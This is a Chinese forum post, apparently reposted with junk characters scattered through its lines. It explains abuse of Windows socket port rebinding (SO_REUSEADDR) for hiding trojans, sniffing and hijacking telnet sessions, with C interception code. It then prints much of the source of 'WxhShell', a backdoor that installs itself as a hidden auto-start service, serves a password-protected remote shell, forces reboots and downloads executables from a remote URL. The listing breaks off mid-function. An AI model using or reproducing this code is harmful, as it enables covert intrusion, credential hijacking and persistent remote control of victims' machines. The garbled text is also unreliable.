社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10908阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JGO>X|T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +-.BF"}  
1%-?e``.  
  saddr.sin_family = AF_INET; MiSFT5$v6  
<4O=[Q5S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mR0@R;,p  
(+^1'?C8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3)3'-wu  
%hTe%(e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Jp= (Q]ab  
|/<iydP  
  这意味着什么?意味着可以进行如下的攻击: \\/X+4|o'  
(=PnLP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >K &b,o,[  
'.dW>7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #Kh`ATme  
ar^`r!ABEh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $K,aLcu  
f a\cLC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lhjPS!A~  
|QzPY8B9O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nB:Bw8U"Q  
T4f:0r;^f*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mWGT (`|~/  
Awr]@%I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }>OE"#si  
Hv`Zc*  
  #include M0"feq  
  #include R -h7c!ko  
  #include Tl1?5  
  #include    ~]yqJYiid^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   my} P\r.  
  int main() -#i%4[v  
  { 3{_+dE"9  
  WORD wVersionRequested; 4({=(O  
  DWORD ret; ,>g 6OU2~6  
  WSADATA wsaData; .6'T;SoK>  
  BOOL val;  (&gCVf  
  SOCKADDR_IN saddr; !l\pwfXP&%  
  SOCKADDR_IN scaddr; u(~s$ENl  
  int err; ,J~1~fg89  
  SOCKET s; Bo0y"W[+  
  SOCKET sc; (%r:PcGMEV  
  int caddsize; u3<])}I'  
  HANDLE mt; Z6*RIdD>  
  DWORD tid;   -Kc-eU-&q  
  wVersionRequested = MAKEWORD( 2, 2 ); |/(5GX,X  
  err = WSAStartup( wVersionRequested, &wsaData ); ^Gyl:hN  
  if ( err != 0 ) { %kUJ:lg;d  
  printf("error!WSAStartup failed!\n"); z^b\hR   
  return -1; x``!t>)O  
  } 1";~"p2(  
  saddr.sin_family = AF_INET; 6 S&#8l  
    o _CVZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }.hBmhnZmI  
@%TQ/L^|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Qz<-xe`o8]  
  saddr.sin_port = htons(23); Hc+<(g   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S2NsqHJr  
  { bHMlh^{`%  
  printf("error!socket failed!\n"); 49#-\=<gt  
  return -1; iKK=A.g  
  } P*LcWrK  
  val = TRUE; dqkkA/1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |/s.PNP2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8jZYy!  
  { $wN.~"T  
  printf("error!setsockopt failed!\n"); O]Hg4">f  
  return -1; ?y '.sQ  
  } U-k;kmaj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %z2nas$$g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F+6ZD5/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p!691LI  
O3_Mrn(R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ! of7]s  
  { PQ[TTLG\&  
  ret=GetLastError(); K4rr.f6  
  printf("error!bind failed!\n"); t.zSJ|T_&O  
  return -1; z6!X+`&  
  } 'l}3Iua6qk  
  listen(s,2); vIREvj#U  
  while(1) m=K XMX  
  { ^w HMKC  
  caddsize = sizeof(scaddr); WDX?|q9rCt  
  //接受连接请求 ;e{2?}#8&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kj8zWG4KH  
  if(sc!=INVALID_SOCKET) `SG70/  
  { 5FzRusNiA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I)x:NF6JO  
  if(mt==NULL) :.~a[\C@V<  
  { jTqba:q@  
  printf("Thread Creat Failed!\n"); V.F 's(o  
  break; nFP2wvFM  
  } eS"gHldz  
  } Brl6r8LGi  
  CloseHandle(mt); EvYw$ j  
  } <Kh\i'8  
  closesocket(s); ZJ 4"QsF  
  WSACleanup(); Y[H_?f=;%  
  return 0; .x x#>Y-\  
  }   Cam}:'a/`  
  DWORD WINAPI ClientThread(LPVOID lpParam) *Z]| Z4Q/`  
  { GWhZ Mj  
  SOCKET ss = (SOCKET)lpParam; 7Y)wu$!7}  
  SOCKET sc; ,VZ&Gc  
  unsigned char buf[4096]; r:q#l~;^  
  SOCKADDR_IN saddr; :b>|U"ux  
  long num; q5 A+%#  
  DWORD val; <r kW4  
  DWORD ret; RgO 7> T\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2 9]8[Z,4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   79V5{2Y*U  
  saddr.sin_family = AF_INET; K c<z;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zm:=d>D..  
  saddr.sin_port = htons(23); }.'%gJrS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !vB%Q$!x  
  { AWi87q  
  printf("error!socket failed!\n"); R',w~1RV'  
  return -1; zbR.Lb  
  } "tark'  
  val = 100; 4Rm3'Ch  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xsvs3y|  
  { 7L]?)2=  
  ret = GetLastError(); $7r wara  
  return -1; `SW " RLS3  
  } KCFwO'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mx[^LaR>v  
  { qh'BrYu*  
  ret = GetLastError(); JA}'d7yEa  
  return -1; [E^X=+Jnz  
  } g-^m\>B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oD7H6\_  
  { Dmi;# WY  
  printf("error!socket connect failed!\n"); >(CoXSV5  
  closesocket(sc); n96gDH*  
  closesocket(ss); 16y$;kf8  
  return -1; c-T ^ aR  
  } L,Nr,QC-  
  while(1) z|<oxF.  
  { ]Yu+M3Fq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V[M#qZS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 acZHb[w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l!  y _P  
  num = recv(ss,buf,4096,0); M;Rw]M  
  if(num>0) ]*@$%iCPE  
  send(sc,buf,num,0); !VHIl&Mos  
  else if(num==0) Ib\G{$r  
  break; WK}+f4tdW[  
  num = recv(sc,buf,4096,0); jq]"6/xxb  
  if(num>0) GN9_ZlC  
  send(ss,buf,num,0); I3Lsj}69  
  else if(num==0) "k|`xn  
  break; O)|4>J*B  
  } Ltw7b  
  closesocket(ss); \.a .'l  
  closesocket(sc); G7;}309s  
  return 0 ; O-5U|wA  
  } h yKg=Foq  
E?mp6R]}%  
Q75^7Ga_  
========================================================== ?<?C*W_  
Y/66`&,{  
下边附上一个代码,,WXhSHELL e W)I}z +{  
gJxVU41  
========================================================== c.Y8CD.tqL  
+-\9'Q  
#include "stdafx.h" P` F'Nf2U  
m#$za7  
#include <stdio.h> ,rI |+  
#include <string.h> A4FDR#  
#include <windows.h> emB D@r  
#include <winsock2.h> kV3j}C"  
#include <winsvc.h> uW~ ,H}E  
#include <urlmon.h> x2sOEkcQ  
&U*J{OP|  
#pragma comment (lib, "Ws2_32.lib") !O6Is'%B  
#pragma comment (lib, "urlmon.lib") ls\E%d  
1!wEXH(  
#define MAX_USER   100 // 最大客户端连接数 &i^NStqu  
#define BUF_SOCK   200 // sock buffer Oc9>F\]_m  
#define KEY_BUFF   255 // 输入 buffer U_;J.{n  
Sc$wR{W<:  
#define REBOOT     0   // 重启 DB%AO:8  
#define SHUTDOWN   1   // 关机  KdJx#Lc  
'?gI cWM  
#define DEF_PORT   5000 // 监听端口 w%dIe!sV  
eJGos!>*  
#define REG_LEN     16   // 注册表键长度 jgKL88J*\  
#define SVC_LEN     80   // NT服务名长度 k3 [h'.ps  
6xIYg^  
// 从dll定义API F` 5/9?;|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !#:$u=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !TL}~D:J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); + 4g%?5'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @n X2*j*u  
d 4\E  
// wxhshell配置信息 Pd "mb~  
struct WSCFG { d"6]?  
  int ws_port;         // 监听端口 tW:/R@@  
  char ws_passstr[REG_LEN]; // 口令 N8YBu/  
  int ws_autoins;       // 安装标记, 1=yes 0=no j~S!!Z ]  
  char ws_regname[REG_LEN]; // 注册表键名 KBRg95E~]l  
  char ws_svcname[REG_LEN]; // 服务名 ;3}EB cw)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y0yO `W4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \seG2vw$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rfc&OV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %Fg8l{H3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,e FQ}&^A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N%r L=zE  
FgQ_a/*  
}; BH0#Q5  
LL[#b2CKa  
// default Wxhshell configuration EY&C [=  
struct WSCFG wscfg={DEF_PORT, tP Efz+1N  
    "xuhuanlingzhe", 7;}3{z  
    1, Y-3[KHD  
    "Wxhshell", L^Q+Q)zTh  
    "Wxhshell", ,Q=)$ `%  
            "WxhShell Service", Eh@T W%9*  
    "Wrsky Windows CmdShell Service", + lB+|yJ+  
    "Please Input Your Password: ", +#uNQ`1v  
  1, )*K<;WI WH  
  "http://www.wrsky.com/wxhshell.exe", *Iwk47J ;a  
  "Wxhshell.exe" |] !o*7"4  
    }; mOgOHb2  
q$?7 ~*M;x  
// 消息定义模块 uz#PBV8Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q_]   
char *msg_ws_prompt="\n\r? for help\n\r#>"; )ehB)X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y+";  
char *msg_ws_ext="\n\rExit."; Qyv'nx0=  
char *msg_ws_end="\n\rQuit."; n;kciTD%wK  
char *msg_ws_boot="\n\rReboot..."; [Ql?Y$QB`4  
char *msg_ws_poff="\n\rShutdown..."; b4)*<Zp`  
char *msg_ws_down="\n\rSave to "; h lkvk]v  
(}FW])y  
char *msg_ws_err="\n\rErr!"; { 0%TMiVf  
char *msg_ws_ok="\n\rOK!"; ~0F9x9V  
:#\B {)(  
char ExeFile[MAX_PATH]; (' Ko#3b  
int nUser = 0; `$V[;ld(mz  
HANDLE handles[MAX_USER]; du'}+rC  
int OsIsNt; CaYos;Pl  
ikY]8BCc  
SERVICE_STATUS       serviceStatus; iRUR4Zs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C~KWH@  
xQ#Akd=  
// 函数声明 @4_rxu&  
int Install(void); yC'hwoQ`  
int Uninstall(void); V%BJNJ  
int DownloadFile(char *sURL, SOCKET wsh); 5fegWCJ  
int Boot(int flag); DN"S,  
void HideProc(void); (K*/Vp  
int GetOsVer(void); &e ?"5  
int Wxhshell(SOCKET wsl); UbY~xs7_  
void TalkWithClient(void *cs); f3zfRhkIk  
int CmdShell(SOCKET sock); :m* !?QGdL  
int StartFromService(void); G9i&#)nWr  
int StartWxhshell(LPSTR lpCmdLine); $m:2&lU3  
&Mhv XHI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [+%d3+27  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GX7 eRqz>  
2q- :p8  
// 数据结构和表定义 bB;~,W&E1  
SERVICE_TABLE_ENTRY DispatchTable[] = (ET ;LH3  
{ @.Z[M  
{wscfg.ws_svcname, NTServiceMain}, +~w?Xw,  
{NULL, NULL} <V$Y6(uMs  
}; :dY.D|j*  
`;5VH]V  
// 自我安装 "%oH@ =  
int Install(void) _K0izKTA.  
{ HPtTv}l  
  char svExeFile[MAX_PATH]; "Ju /[#VCJ  
  HKEY key; GUu\dl9WA'  
  strcpy(svExeFile,ExeFile); ~?AC:  
O t *K+^I  
// 如果是win9x系统,修改注册表设为自启动 ZDOF  
if(!OsIsNt) { 3$?9uMl#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;|>q zx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NK7H,V}T  
  RegCloseKey(key); 5)d,G9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xb =8t!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5JBB+g  
  RegCloseKey(key); >JKnGeF  
  return 0; xvwD3.1  
    } ),cQUB  
  } oLrkOn/aY  
}  xFBh?  
else { @-wNrW$  
[&h#iTRT  
// 如果是NT以上系统,安装为系统服务 Io$w|~x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ku/\16E/k  
if (schSCManager!=0) (dzH3_U  
{ J3/\<=Qh  
  SC_HANDLE schService = CreateService [x;(cISK1  
  ( ydwK!j0y  
  schSCManager, FOOQ'o[}  
  wscfg.ws_svcname, FX HAZ2/\  
  wscfg.ws_svcdisp, rc;7W:  
  SERVICE_ALL_ACCESS, (3 IZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {S5RK-ax  
  SERVICE_AUTO_START, &mN'Tk  
  SERVICE_ERROR_NORMAL, pU?{0xZH  
  svExeFile, 81GQijq  
  NULL, >_;kTy,  
  NULL, 6 gj]y^}  
  NULL, |av*!i5Q  
  NULL, oLgg  
  NULL &$mZ?%^C  
  ); Op`I;Q #%d  
  if (schService!=0) e Wb0^8_  
  { ![*:.CW  
  CloseServiceHandle(schService); ;_mgiKHg  
  CloseServiceHandle(schSCManager); ]3n, AHA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c3=-Mq9Q  
  strcat(svExeFile,wscfg.ws_svcname); ,>D ja59  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8[8|*8xqs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oN *SRaAp  
  RegCloseKey(key); kQ@gO[hS  
  return 0; UZzNVIXA%  
    } ]i-P-9PA4  
  } ^I]LoG:  
  CloseServiceHandle(schSCManager); P@qMJ}<j  
} 7~_{.f  
} v1 LKU  
z%OuI 8"'  
return 1; R=!kbBK>\  
} &MCy.(jN  
L +L 9Y}  
// 自我卸载 # v{Y=$L  
int Uninstall(void) T"n{WmVQ  
{ yC0C`oC  
  HKEY key; JZ`>|<W  
r eGm>  
if(!OsIsNt) { ^'m\D;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *6:v}#b[  
  RegDeleteValue(key,wscfg.ws_regname);  b<[jaI0  
  RegCloseKey(key); xC<=~(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qs=Gj?GwGQ  
  RegDeleteValue(key,wscfg.ws_regname); 4HM;K_G%{  
  RegCloseKey(key); ZB-QABn  
  return 0; Fj S%n$  
  } ZTN(irK  
} &|)hCJu  
} ZAMeqPt  
else { DW#Bfo  
3)}(M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W%TQYR  
if (schSCManager!=0) !_qskDc-  
{ w#oGX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xpF](>LC(  
  if (schService!=0) .:rmA8U[  
  { <>%,}j 9  
  if(DeleteService(schService)!=0) { M(yH%i^A  
  CloseServiceHandle(schService); *'6s63)I2  
  CloseServiceHandle(schSCManager);  Do|]eD  
  return 0; y<TOqn  
  } <3b'm*  
  CloseServiceHandle(schService); X:>$ 8^gS  
  } `)T&~2n  
  CloseServiceHandle(schSCManager); >QXzMN}o  
} _IWxYp  
} 2d-{Q 8Pi  
tE@FvZC'=  
return 1; l';pP^.q  
} <j;]!qFR  
',GV6kt_k  
// 从指定url下载文件 ~8TF*3[}[  
int DownloadFile(char *sURL, SOCKET wsh) sI'a1$  
{ qpI]R  
  HRESULT hr; u#1%P5r&X  
char seps[]= "/"; Ejv%,q/T(  
char *token; mb&lCd ^-  
char *file; @dl8(ILk'  
char myURL[MAX_PATH]; -OrR $w|e  
char myFILE[MAX_PATH]; o]<jZ_|gB  
vYdR ht\(  
strcpy(myURL,sURL); PY?8 [A+  
  token=strtok(myURL,seps); 3)3Hck  
  while(token!=NULL) KF+mZB  
  { ld.7`)  
    file=token; joqWh!kv7U  
  token=strtok(NULL,seps); uMvb-8  
  } g5i#YW  
[]zua14F6  
GetCurrentDirectory(MAX_PATH,myFILE); 8'_ 0g[s  
strcat(myFILE, "\\"); /prYSRn8  
strcat(myFILE, file); &f-hG3/M  
  send(wsh,myFILE,strlen(myFILE),0); Z0-ytODI I  
send(wsh,"...",3,0); \@K~L4>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gw^'{b  
  if(hr==S_OK) V>Fesm"aq  
return 0; %t*  
else ?Nf 5w  
return 1;  Hy]  
xST4}Mb^f  
} >^=gDJ\a  
zPR8f-Uvw  
// 系统电源模块 %m eLW&  
int Boot(int flag) ?DPHo)w  
{ eCWPhB 6l  
  HANDLE hToken; dQD$K|aUp  
  TOKEN_PRIVILEGES tkp; sHdp  
_\\ -md:  
  if(OsIsNt) { EiWd+v,QJQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $ KB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )T1iN(Z  
    tkp.PrivilegeCount = 1; }^Gd4[(,g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8YX)0i'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3-C\2  
if(flag==REBOOT) { Ja|{1&J.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) px=]bALU  
  return 0; n *<v]1  
} qM",( Bh  
else { ]]2k}A[-I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5dl,co{q  
  return 0; QB&BTT=!  
} T_LLJ}6M  
  }  @pFj9[N  
  else { 71"+<C .  
if(flag==REBOOT) { ]a?bzOr,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $shp(T,q  
  return 0; t> xd]ti  
} (RE2I  
else { Q9c)k{QZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _Zc4=c,K  
  return 0; O,s.D,S  
} P|xG\3@Z  
} F PR`tE  
UV AJxqz%}  
return 1; /[=E0_t+  
} I[d]!YI}F  
I4=Xb^Ux  
// win9x进程隐藏模块 =rFN1M/n{E  
void HideProc(void) =lp1Z>  
{  &;c>O  
 )h_8vO2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (dqCa[  
  if ( hKernel != NULL ) =-#G8L%Q  
  { MsOs{2 )2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w5,Mb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [sy j#  
    FreeLibrary(hKernel); hH>``gK  
  } G$bJ+  
!yJICjXj  
return; wRvb8F 0  
} )d`mvZBn1  
Da.G4,vLh  
// 获取操作系统版本 Ak@Dyi?p  
int GetOsVer(void) [ MyE2^  
{ UzG[:ic%  
  OSVERSIONINFO winfo; mJ5H=&Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S,jZ3^  
  GetVersionEx(&winfo); FwG!>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <RXwM6G2  
  return 1; pQa:pX  
  else ' cIEc1y  
  return 0; O.QK"pKD\  
} FX}Gt=  
nZk +  
// 客户端句柄模块 =9wy/c$  
int Wxhshell(SOCKET wsl) h6:#!Rg  
{ F3M aqr y  
  SOCKET wsh; WFTvOFj  
  struct sockaddr_in client; eiVC"0-c}  
  DWORD myID; pG3k   
Cu;5RSr2Z  
  while(nUser<MAX_USER) v,@F|c?_S  
{ ?-)I+EAnE  
  int nSize=sizeof(client); Na{Y}0=^y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L2UsqVU  
  if(wsh==INVALID_SOCKET) return 1; >ut" OL9J  
}baR5v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UL$}{2N,_  
if(handles[nUser]==0) j<<3Pr  
  closesocket(wsh); `G9 l  
else 5GzFoy)j>  
  nUser++; TrS8h^C  
  } LeOP;#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zp}eLm:=d  
}H> ^o9  
  return 0; \M<3}t  
} 80OtO#1y  
I:98 $r$  
// 关闭 socket 64>krmVIe  
void CloseIt(SOCKET wsh) (V:E2WR  
{ V!_71x\-Q  
closesocket(wsh); KqY["5p  
nUser--; uVE.,)xz  
ExitThread(0); GL Mm(  
} .B2]xfo"`  
3?I;ovsM  
// 客户端请求句柄 Z @ dC+0[=  
void TalkWithClient(void *cs) , t5 '  
{ $;N*cH~  
4<dcB@v  
  SOCKET wsh=(SOCKET)cs; *cuuzi&  
  char pwd[SVC_LEN]; v=@TWEE  
  char cmd[KEY_BUFF]; \y`+B*\i  
char chr[1]; 8.AR.o  
int i,j; 9;.(u'y|  
D\dWt1n  
  while (nUser < MAX_USER) { b;sVls  
F,BOgWwP  
if(wscfg.ws_passstr) { 'xY@x-o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !E8X~DJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w'MGA  
  //ZeroMemory(pwd,KEY_BUFF); GzXUU@p  
      i=0; ^!<dgBNj  
  while(i<SVC_LEN) { H,3\0BKk  
OJ|r6  
  // 设置超时 8BOZh6BV  
  fd_set FdRead; ,l YE  
  struct timeval TimeOut; W!Hm~9fz  
  FD_ZERO(&FdRead); ^&@w$  
  FD_SET(wsh,&FdRead); \MC-4Yz  
  TimeOut.tv_sec=8; EP'h@zdz  
  TimeOut.tv_usec=0; @hQlrq5c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q/uwQ o/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g- AHdYJ  
[qUN4x5b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }D411228  
  pwd=chr[0]; jp8@vdRg  
  if(chr[0]==0xd || chr[0]==0xa) { -i0(2*<  
  pwd=0; `nM/l @  
  break; o8/ ;;*  
  } 4;n6I)&.(  
  i++; ,YTIC8qKr  
    } -}O1dEn.  
vE@!{*  
  // 如果是非法用户,关闭 socket ~(!XY/0e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &,A64y  
} ?Nf>]|K:Q  
C2LL|jp*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (~CLn;'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AjcX  N  
MYJg8 '[j  
while(1) { m(RXJORI  
*n" /a{6>  
  ZeroMemory(cmd,KEY_BUFF); UcBe'r}G  
\PDd$syDA  
      // 自动支持客户端 telnet标准   j 8*ZF  
  j=0; mMsTyM-f  
  while(j<KEY_BUFF) { +zXEYc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]8q3>  
  cmd[j]=chr[0]; pyLRgD0 g  
  if(chr[0]==0xa || chr[0]==0xd) { kB?al#`  
  cmd[j]=0; 8Ac)'2t;U  
  break; Bm&kkx.9P  
  } ~|<WHHN (  
  j++; \fA{1  
    } bM8If"  
7VcmVq}X  
  // 下载文件 =mA: ctu~v  
  if(strstr(cmd,"http://")) { hxCvk/7sT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,'[<bP'%_  
  if(DownloadFile(cmd,wsh)) B<j'm0a>B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eF[63zx5*  
  else TIp:FW[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wu4Lxv]B4  
  } 64hk2a8  
  else { Q+g!V5'  
O@p]KSfk  
    switch(cmd[0]) { 311LC cRp  
  nX$XL=6mJ&  
  // 帮助 w"R:\@ F  
  case '?': { (`y*V;o4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 626Z5Afg  
    break; .e=C{  
  } A.hd Kl  
  // 安装 Yjx|9_|Xn  
  case 'i': { >3z5ww  
    if(Install()) &u#&@J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\{^|y9-  
    else X]P:CY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0eK*9S]  
    break; W 4F\}A  
    } |V<h=D5W  
  // 卸载 _YcA+3ZL  
  case 'r': { v\p;SwI   
    if(Uninstall()) \&H nKhI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M5xCC!  
    else 2W4qBaG$=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @)Ofi j  
    break; jBegh9KHq  
    } >JiltF7H0  
  // 显示 wxhshell 所在路径 sQMFpIrr  
  case 'p': { **}h&k&%2  
    char svExeFile[MAX_PATH]; ,3@#F/c3i~  
    strcpy(svExeFile,"\n\r"); ) $PDo 7#  
      strcat(svExeFile,ExeFile); FJasS8  
        send(wsh,svExeFile,strlen(svExeFile),0); `w]s;G[  
    break; y@\V +  
    } <~ Sz04  
  // 重启 7)s^8+  
  case 'b': { *zr(Zv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6`f2-f9%iq  
    if(Boot(REBOOT)) ">#wOm+ +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,yd?gP-O  
    else { E9~Ghx.   
